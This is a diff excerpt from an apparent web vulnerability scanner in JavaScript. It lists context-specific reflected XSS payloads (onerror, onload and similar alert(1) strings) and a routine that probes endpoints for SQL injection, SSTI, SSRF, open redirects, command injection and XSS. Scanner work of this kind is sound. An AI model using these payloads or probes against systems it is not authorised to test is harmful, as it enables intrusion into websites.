566
|
+
/**
|
|
567
|
+
* Generate targeted payloads for a specific injection context.
|
|
568
|
+
*/
|
|
569
|
+
function getPayloadsForContext(context) {
|
|
570
|
+
switch (context.type) {
|
|
571
|
+
case "html-content":
|
|
572
|
+
return [
|
|
573
|
+
{ payload: '<img src=x onerror=alert(1)>', check: (b) => b.includes('<img src=x onerror=') },
|
|
574
|
+
{ payload: '<svg onload=alert(1)>', check: (b) => b.includes('<svg onload=') },
|
|
575
|
+
{ payload: '<details open ontoggle=alert(1)>', check: (b) => b.includes('<details open ontoggle=') },
|
|
576
|
+
];
|
|
577
|
+
|
|
578
|
+
case "attribute":
|
|
579
|
+
return [
|
|
580
|
+
{ payload: `${context.quote}><img src=x onerror=alert(1)>`, check: (b) => b.includes('onerror=alert(1)') },
|
|
581
|
+
{ payload: `${context.quote} onmouseover=alert(1) ${context.quote}`, check: (b) => b.includes('onmouseover=alert(1)') },
|
|
582
|
+
{ payload: `${context.quote} onfocus=alert(1) autofocus ${context.quote}`, check: (b) => b.includes('onfocus=alert(1)') },
|
|
583
|
+
];
|
|
584
|
+
|
|
585
|
+
case "javascript":
|
|
586
|
+
if (context.quote) {
|
|
587
|
+
return [
|
|
588
|
+
{ payload: `${context.quote};alert(1);//`, check: (b) => /['"`;]\s*alert\(1\)/.test(b) },
|
|
589
|
+
{ payload: `${context.quote}-alert(1)-${context.quote}`, check: (b) => b.includes('-alert(1)-') },
|
|
590
|
+
];
|
|
591
|
+
}
|
|
592
|
+
return [
|
|
593
|
+
{ payload: ';alert(1);//', check: (b) => b.includes(';alert(1);') },
|
|
594
|
+
{ payload: '</script><img src=x onerror=alert(1)>', check: (b) => b.includes('onerror=alert(1)') },
|
|
595
|
+
];
|
|
596
|
+
|
|
597
|
+
case "comment":
|
|
598
|
+
return [
|
|
599
|
+
{ payload: '--><img src=x onerror=alert(1)><!--', check: (b) => b.includes('onerror=alert(1)') },
|
|
600
|
+
];
|
|
601
|
+
|
|
602
|
+
case "tag-body":
|
|
603
|
+
return [
|
|
604
|
+
{ payload: 'onmouseover=alert(1)', check: (b) => b.includes('onmouseover=alert(1)') },
|
|
605
|
+
{ payload: 'onfocus=alert(1) autofocus', check: (b) => b.includes('onfocus=alert(1)') },
|
|
606
|
+
];
|
|
607
|
+
|
|
608
|
+
case "style":
|
|
609
|
+
return [
|
|
610
|
+
{ payload: '</style><img src=x onerror=alert(1)>', check: (b) => b.includes('onerror=alert(1)') },
|
|
611
|
+
];
|
|
612
|
+
|
|
613
|
+
default:
|
|
614
|
+
return [
|
|
615
|
+
{ payload: '<img src=x onerror=alert(1)>', check: (b) => b.includes('<img src=x onerror=') },
|
|
616
|
+
];
|
|
617
|
+
}
|
|
618
|
+
}
|
|
619
|
+
|
|
620
|
+
// ── Aggregate: Run all injection probes ──────────────────────────────────
|
|
621
|
+
|
|
622
|
+
/**
|
|
623
|
+
* Run all injection probes against discovered endpoints.
|
|
624
|
+
*
|
|
625
|
+
* @param {string} baseUrl
|
|
626
|
+
* @param {Array<{ path, status }>} endpoints - Discovered endpoints
|
|
627
|
+
* @param {object} opts - { onPhase, maxEndpoints }
|
|
628
|
+
* @returns {object[]} All findings
|
|
629
|
+
*/
|
|
630
|
+
export async function runInjectionProbes(baseUrl, endpoints, opts = {}) {
|
|
631
|
+
const progress = opts.onPhase || (() => {});
|
|
632
|
+
const max = opts.maxEndpoints || 10;
|
|
633
|
+
const findings = [];
|
|
634
|
+
|
|
635
|
+
// Select candidate endpoints (prioritize API routes, non-404)
|
|
636
|
+
const candidates = endpoints
|
|
637
|
+
.filter((ep) => ep.status !== 404 && (ep.path.includes("/api/") || ep.path.includes("?")))
|
|
638
|
+
.slice(0, max);
|
|
639
|
+
|
|
640
|
+
if (candidates.length === 0) return findings;
|
|
641
|
+
|
|
642
|
+
progress(`Testing ${candidates.length} endpoints for SQLi...`);
|
|
643
|
+
for (const ep of candidates.slice(0, 5)) {
|
|
644
|
+
findings.push(...await probeSqli(baseUrl, ep.path));
|
|
645
|
+
}
|
|
646
|
+
|
|
647
|
+
progress(`Testing ${candidates.length} endpoints for SSTI...`);
|
|
648
|
+
for (const ep of candidates.slice(0, 5)) {
|
|
649
|
+
findings.push(...await probeSsti(baseUrl, ep.path));
|
|
650
|
+
}
|
|
651
|
+
|
|
652
|
+
progress(`Testing for SSRF via URL parameters...`);
|
|
653
|
+
for (const ep of candidates.slice(0, 3)) {
|
|
654
|
+
findings.push(...await probeSsrf(baseUrl, ep.path));
|
|
655
|
+
}
|
|
656
|
+
|
|
657
|
+
progress(`Testing for open redirects...`);
|
|
658
|
+
for (const ep of candidates) {
|
|
659
|
+
findings.push(...await probeOpenRedirect(baseUrl, ep.path));
|
|
660
|
+
}
|
|
661
|
+
|
|
662
|
+
progress(`Testing for command injection...`);
|
|
663
|
+
const postEndpoints = candidates.filter((ep) =>
|
|
664
|
+
ep.path.includes("/api/") && !ep.path.includes("/auth/"),
|
|
665
|
+
);
|
|
666
|
+
for (const ep of postEndpoints.slice(0, 3)) {
|
|
667
|
+
findings.push(...await probeCmdi(baseUrl, ep.path));
|
|
668
|
+
}
|
|
669
|
+
|
|
670
|
+
progress(`Testing for reflected XSS (context-aware)...`);
|
|
671
|
+
for (const ep of candidates.slice(0, 5)) {
|
|
672
|
+
findings.push(...await probeXss(baseUrl, ep.path));
|
|
673
|
+
}
|
|
674
|
+
|
|
675
|
+
return findings;
|
|
676
|
+
}
|